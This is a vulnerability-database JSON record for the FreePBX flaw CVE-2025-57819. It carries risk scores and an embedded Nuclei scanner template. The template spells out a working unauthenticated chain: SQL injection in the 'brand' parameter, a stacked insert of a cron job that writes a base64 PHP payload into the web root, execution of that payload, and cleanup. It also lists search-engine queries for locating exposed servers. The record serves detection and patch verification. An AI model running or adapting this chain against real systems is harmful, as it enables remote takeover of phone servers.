{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-57819/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-57819/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-57819/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-57819/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-57819/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-57819"},"sightings":{"href":"/api/v1/sightings/cve-2025-57819"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.85463,"kev":true,"percentile":0.99711},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-57819.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-57819\n\ninfo:\n  name: FreePBX - Remote Code Execution\n  author: watchtowr,pussycat0x,DhiyaneshDk\n  severity: critical\n  description: |\n    FreePBX 15, 16, and 17 contain a remote code execution caused by insufficiently sanitized user-supplied data in endpoints, letting unauthenticated attackers manipulate the database and execute code remotely, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can manipulate database records through SQL injection and achieve remote code execution through file upload path traversal, achieving complete system compromise.\n  remediation: |\n    Upgrade FreePBX to version 15, 16, or 17 with the latest security patches and lock down administrator access as described in the FreePBX security advisory.\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2025-57819\n    epss-score: 0.85463\n    epss-percentile: 0.99711\n    cpe: cpe:2.3:a:sangoma:freepbx:*:*:*:*:*:*:*:*\n  reference:\n    - https://github.com/FreePBX/security-reporting/security/advisories/GHSA-m42g-xg4c-5f3h\n    - https://community.freepbx.org/t/security-advisory-please-lock-down-your-administrator-access/107203\n    - https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819\n    - https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/\n  metadata:\n    vendor: sangoma\n    product: freepbx\n    shodan-query:\n      - http.title:\"freepbx\"\n      - http.favicon.hash:\"-1908328911\"\n      - http.favicon.hash:\"1574423538\"\n      - http.title:\"freepbx administration\"\n    fofa-query:\n      - icon_hash=\"-1908328911\"\n      - icon_hash=\"1574423538\"\n      - title=\"freepbx administration\"\n      - title=\"freepbx\"\n    google-query:\n      - intitle:\"freepbx administration\"\n      - intitle:\"freepbx\"\n  tags: cve,cve2025,freepbx,sqli,rce,kev,intrusive,vkev,vuln\n\nvariables:\n  filename: \"{{to_lower(rand_text_alpha(5))}}\"\n  username: \"{{to_lower(rand_text_alpha(6))}}\"\n  cmd: \"PD9waHAgaGVhZGVyKCd4X3BvYzogQ1ZFLTIwMjUtNTc4MTknKTsgZWNobyBzaGVsbF9leGVjKCd1bmFtZSAtYScpOyB1bmxpbmsoX19GSUxFX18pOyA/Pgo=\"\n\nflow: http(1) || http(2) && http(3) && http(4)\n\nhttp:\n  # Step 1: SQL Injection Detection in brand parameter\n  - method: GET\n    path:\n      - \"{{BaseURL}}/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x' AND EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~')) -- \"\n\n    matchers:\n      - type: regex\n        part: body\n        name: sqli\n        regex:\n          - 'XPATH syntax error.*~.*~'\n          - 'utility.functions.php'\n          - '~USER:([^~]+)~'\n        condition: and\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        regex:\n          - '~USER:([^~]+)~'\n\n  # Step 2: RCE Exploitation - Create cron job with self-deleting PHP payload\n  - raw:\n      - |\n        GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'%20;INSERT%20INTO%20cron_jobs%20(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)%20VALUES%20('sysadmin','{{username}}','echo%20%22{{cmd}}%22%7Cbase64%20-d%20%3E/var/www/html/{{filename}}.php',NULL,'*%20*%20*%20*%20*',30,1,1)%20--%20 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains(body, 'Whoops') && status_code == 500\"\n        internal: true\n\n  # Execute self-deleting PHP payload and verify RCE\n  - raw:\n      - |\n        @timeout: 80s\n        GET /{{filename}}.php?x={{wait_for(70)}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        name: rce\n        dsl:\n          - \"contains(x_poc, 'CVE-2025-57819')\"\n\n    extractors:\n      - type: dsl\n        dsl:\n          - body\n\n  # Cleanup - Delete the poc cron job\n  - raw:\n      - |\n        GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'%20;DELETE%20FROM%20cron_jobs%20WHERE%20jobname='{{username}}'%20--%20 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        name: cleanup\n        dsl:\n          - \"contains(body, 'Whoops') && status_code == 500\"\n        internal: true\n# digest: 4b0a00483046022100f58ab693de62fbdf89a7a031e51a7d10b6262a3f8759cdb6a27ca96ef5ce321302210090bc280fa91014454f8f962497d6fe6dd9ec4180ce127eeeec150cc73d377bc9:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-57819"}